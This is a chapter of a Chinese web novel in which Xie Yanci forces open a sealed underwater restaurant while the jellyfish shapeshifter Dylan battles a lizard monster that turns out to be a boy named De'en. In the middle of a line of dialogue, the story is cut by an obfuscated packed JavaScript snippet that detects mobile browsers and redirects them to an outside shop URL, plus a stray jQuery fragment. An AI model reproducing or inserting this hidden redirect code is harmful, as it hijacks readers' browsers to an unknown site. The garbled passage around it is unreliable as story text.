“让一让——”一个穿着制服的男人在前面开路,谢砚辞一行人穿过人群,终于来到餐厅正门门口。事发之后,整个餐厅内部的人已经被疏散,被警署的人围了个水泄不通。

    一位警官上前,他摘下手套,社交性的同谢砚辞握手。那警官叫作林述,是警署片区的副区长。

    林述大致的讲述了方才所探查到的情况。当讲到江面之下忽然冒出动人心魄的幽蓝色光芒的时候,谢砚辞同站在一边的程烨对视一眼。

    程烨凑了过来,在谢砚辞耳边低声说:“应该就是迪伦。”

    林述不明所以,问道:“程先生是有什么发现吗?”

    程烨打着哈哈敷衍过去:“那必然是没有的。”

    众人进入一楼大厅,餐厅的负责人带路,带着几人来到了水下大厅的入口。入口处被厚重的铁门封的死死的,没有任何一丝缝,压根任何可以撬开的可能。

    谢砚辞的薄唇抿成一条线,神色冷峻。

    餐厅的负责人站在边上瑟缩着脑袋,谢砚辞斜睨了他一眼,开口时声音仿佛淬了一层冰:“这门怎么回事?”

    “这......水下大厅受到破坏,餐厅的安保系统就会开启,将地下大厅封闭起来。按理来说,在外面操作,这门是可以打开的,但是......系统故障了。”

    负责人心里越来越慌,声音也跟着越来越低。

    谢砚辞微微眯起眼睛,眼底掠过狠意,盯着餐厅负责人:“当真是系统故障?”那神情仿佛是在说“敢骗老子,老子就杀了你。”

    任是见惯了大风大浪,但来自这位上位者的压迫感却不是一般人能够承受的。要知道,泛界国际维安协会是一个新兴的、拥有独立政权以及独立武装的协会。而站在他面前的是泛界国际维安协会的总创始人。

    负责人如临寒地,身体不受控制地哆嗦,急忙解释:“当然当然,那怪物撞击,它它它,撞了,然后系统故障!”

    谢砚辞没什么表示,招手让人来检查这道门,在确定强行破坏不会引起爆炸之后,谢砚辞冷冷道:“暴力破开。”

    与此同时,在水下的大厅内。

    和朴崎一起来开门的兄弟眼尖地发现了一个服务员,他一把薅过对方的衣脖领子,厉声问道:“这门怎么开?”

    面对着两个人高马大、凶神恶煞的男人,那服务生紧张的咽了咽口水,哆嗦着:“我,我不知道啊!只有经理才知道怎么开啊。”

    朴崎握着拳头,指节“咔咔”作响。

    那服务生生怕对面两个大汉会生生捏断自己的脖子,眼睛一直在人群中搜寻着。忽然他手往一个方向一指:“在那,经理在那!”

    听到他的叫喊声,众人瞬间仿佛看到了希望。边上的一个男士立刻死死拽住了他,四面封闭的空间里,经理藏无可藏,被人你拽一下他扯一下,踉踉跄跄来到了入口处。

    那经理哆哆嗦嗦地道:“这我也开不了......"

    人群中有个手里拿着礼帽的人怒道:“怎么会开不了,边上不是应该有密码锁吗?”

    经理:“警戒状态,系统会彻底封死通道,有密码也行不通?”

    人群里乱哄哄的。怒目圆瞪的女士发问:“怎么可能开不了?餐厅负责人开不了,那谁能开?”

    “是呀,谁会相信你的鬼话?你们餐厅故意想要杀人是不是?”

    “刚刚这个经理鬼鬼祟祟的!谁知道他们”

    用欲哭无泪来形容这个经理的心理状态也不足为过,他无奈道走到门前,在众人注视之下,找到一块瓷砖在上面敲了三下,瓷砖中的感应装置激活,瓷砖往前突出,向两边移动,露出下面的密码锁。

    众人呼吸凝滞住,有甚者紧张的攥紧了手。

    经理输入了正确的密码,密码锁发出“滴滴”两声,发出绿光,但不一会发出令人绝望的红光以及冰冷的电子机械音:“检测到非法入侵,系统已锁定。”

    经理脸上挂着绝望,颤声道:“系统锁定了”

    朴崎一拳砸到铁门上:“去它丫的!”

    就在一筹莫展的时候,门上传出不小的动静。朴崎很快就意识到:“是老大来了。”

    他们立刻开始疏散人,让他们离开楼梯,让开通道。

    果不其然,就在人群退开没有多久,大门就被硬生生豁开一道口子,在精密仪器的操作之下,门的金属材质被朝着两边掰开,在特殊试剂的腐蚀下化成一滩透明液体。

    昏暗的地下餐厅内打进来一束光,外面传来一道声音:“会长,打通了。”

    而后就在众人视线中出现了一道身影。那是一个极具压迫感的剪影,头顶的灯光从他背后打来,他宽阔的肩膀和修长的双腿在光晕边缘勾勒出一圈冷硬的银边。

    谢砚辞静静地站在那里,双手插在裤兜里,低垂的头颅让人看不清任何表情。“先疏散人群。”

    朴崎随着人群最先出来,走到谢砚辞身边大致地向他解释了方才所发生的一切。谢砚辞黑着脸没有说话,他大步越过人群,往水下大厅内走。

    Andi几人还站在那面破裂的玻璃墙之前。谢攸宁显然是被这样的阵仗给吓傻了,乖乖被Andi圈在怀里。

    见到人,谢攸宁立刻瘪了瘪嘴:“哥……”

    谢砚辞温柔地揉了揉她的脑袋:“回家等我。”接着,他冲Andi道:“带上两个人,你们先回别墅。”

    程烨用戴着橡胶手套的手轻轻沾了些泛着蓝色幽光的液体,而后手指凑到眼前细细查看,惊叹道:“果然,大自然是神奇的造物者!”

    谢砚辞瞥了他一眼,扭头就要往上走,程烨叫住他:“你去干什么?”

    谢砚辞道:“捞水母。”

    ……

    迪伦的触手拉着蜥蜴怪物,想要用自己的毒素毒晕它,然后再拖回岸边,藏好,找谢砚辞帮忙。

    可是他低估了这个怪物的力量。

    较大的体型差异让迪伦使尽全身的力气也没有办法将它牢牢禁锢住。迪伦只好释放出更多的触手,限制它四肢的活动。

    等带着怪物下沉到一定深度的时候,迪伦试着释放毒素。

    但是怪物外边那层灰白色的角质层像是坚硬的铠甲,迪伦的触手压根接触不到怪物的皮肉,毒素自然无法发挥作用。

    迪伦苦恼极了,于是他转变思路,心里默默念了句:“抱歉了。”而后触手灵活地向着蜥蜴的眼睛招呼。

    蜥蜴怪物自然看透了迪伦的心思,用尽全力挣扎着,角质层表面分泌出一种难闻的液体,液体爬上了迪伦的触手表面,带来灼烧感。

    毫无防备的迪伦吃痛,受伤的触手不得已缩回。

    蜥蜴怪物挣脱开束缚后,却没有立即离开,绿色玻璃珠似的眼珠变得通红,朝着迪伦撞了过来。迪伦慌忙躲避,一抖伞状的身体朝着更深的水底游动。

    奇怪的是,蜥蜴怪物并没有朝着他追来,浮动在原位置,身体不断释放出难闻的液体,它周身的江水都被搅成了浑浊的褐色。

    其中带有的毒性物质在水中不断稀释,游过的生物都被波及,体型小一些的鱼类几乎是在顷刻间,被腐蚀得只剩下骨头,往下沉没。

    迪伦惊得停在了原地,伸出触手想要接住鱼骨,那一刻他感觉自己好像做错了,他不该把蜥蜴怪物拖下来的。

    可是,除了这个,他好像没有别的办法了。

    就在他正不知所措的时候,他的耳边忽然响起了谢砚辞的声音。迪伦扭头,只看到了一个机械设计的仿真鱼。

    迪伦:“……”惊喜瞬间没了,只能说这是很糟糕的设计,那是看上去很惊悚的一条“鱼”。

    那个“鱼”里接着传出谢砚辞的声音:“迪伦,回岸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775529|209151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上去。”

    谢砚辞站在一艘小型潜艇内,面前的电子屏幕里正显示着变回水母的迪伦,自己那只正在肆无忌惮释放着毒液的恶性蜥蜴生物体。

    谢砚辞将那毒液腐蚀鱼类的场景尽收眼底,心里不禁咯噔一下,但是迪伦却没有听从他的安排,反而释放出更多触手,一部分拽住蜥蜴怪物的四肢和尾部,一部分拉住在原位置挣扎的鱼类,触手延长将它们送离开被污染的区域。

    谢砚辞只觉得心脏像被勒住一样难受,厉声质问同样在观看屏幕的程烨道:“他现在是不是听不懂人话?”

    程烨:“……额”在确定了谢砚辞不是在骂人之后,他答道:“不应该啊?在你叫迪伦的时候,他明显是有反应的。”

    屏幕忽然剧烈晃动,一只触手从画面中快速划过,最终画面彻底消失。

    谢砚辞咬咬牙:“很好,长本事了。”

    正在操作的朴崎默默加快了潜艇前往迪伦所在方位的速度。

    而此刻的迪伦在确保了周围的水域没有其他生物之后,慢慢地变回了人的身体,这样或许力气会更大些。

    他的身体周围瞬间分化出数十条闪烁着刺目蓝光的触须。它们不再柔软,而是如同出鞘的利剑,带着撕裂水流的尖啸,朝着怪物爆射而去。

    蜥蜴的怪物角质层表面出现了很多深浅不一的划痕,可它的角质层很厚,也仿佛没有任何疼痛神经一样,尾部朝着迪伦肩头狠狠一甩。

    同一时间,潜艇赶到了正在缠斗的两者不远处。程烨道:“高频音波。”

    谢砚辞拒绝:“会伤到迪伦。”

    “不会,我和迪伦做过这个实验,音波不会对他造成伤害。”

    谢砚辞这才同意。潜艇外部的声波发射器瞬间爆发出足以震碎内脏的高频音波。蜥蜴怪物痛苦地仰起头颅,庞大的身躯剧烈颤抖,。

    它找准造成自己痛苦的凶手猛地朝着潜艇撞了过去。

    迪伦知道谢砚辞就在潜艇上,他连忙释放拽住大家伙的尾巴,同时抓准时机,趁着它偏过头时,一只触手伸入它因痛苦而微微长大的嘴巴,迅速释放巨量毒素。

    迪伦所释放神经毒素很快起了作用。残破的身躯在剧烈的抽搐中缓缓停滞,在它向着更深的黑暗海沟沉去之前,迪伦的触手拉住它。

    在对上那双重新变回绿色玻璃珠似的眼睛时,迪伦眼睁睁地看着它的脸慢慢地变化出一张人脸,那是一张脸上带着雀斑的男孩的脸。

    出乎所有人的预料,迪伦并没有停在原位置,也没有朝着岸边游去,而是拉着蜥蜴迅速朝着下游游去,速度之快,很快就消失在众人面前。

    迪伦带着蜥蜴怪物停在了下游某处无人的河段。

    他本以为蜥蜴全然被麻痹住了,但是就在迪伦拉着它快要上岸边时,蜥蜴怪物忽然动了一下,以一种极其古怪的姿势扭动着身躯,一点一点缩小,身体、四肢渐渐趋近于人类。

    它挣脱开迪伦的触手,毫无征兆地爬上了岸,渐渐直立行走,身形却呈现出一种极度扭曲的佝偻姿态,仿佛每一寸骨骼都在抗拒着这种违背自然规律的进化。

    走了不超过五步,像是骨头散架那样倒在地上。它的身体依旧在不断抽搐着,手脚强直,口角流出奇怪的褐色液体。

    它冲着仍泡在水里的迪伦伸长手,嘴里像是在念叨着什么字。

    此刻他的脸,他的身体,忽略他身后托着的尾巴,他此刻已经完全是一个少年的模样。

    脑海中一个笑的很开心的少年面孔渐渐和这张毫无生气的脸重合。一个名字在迪伦的脑海中闪过,迪伦轻轻念出了这个名字:“德恩……”

    “德恩”眼角流下一滴浑浊的泪,绿色的眸子彻底黯淡。

    可是慢慢,他的那张脸又变回了一张蜥蜴的面孔,嘴巴里发出的声音又变成了动物的低吼,没了呼吸……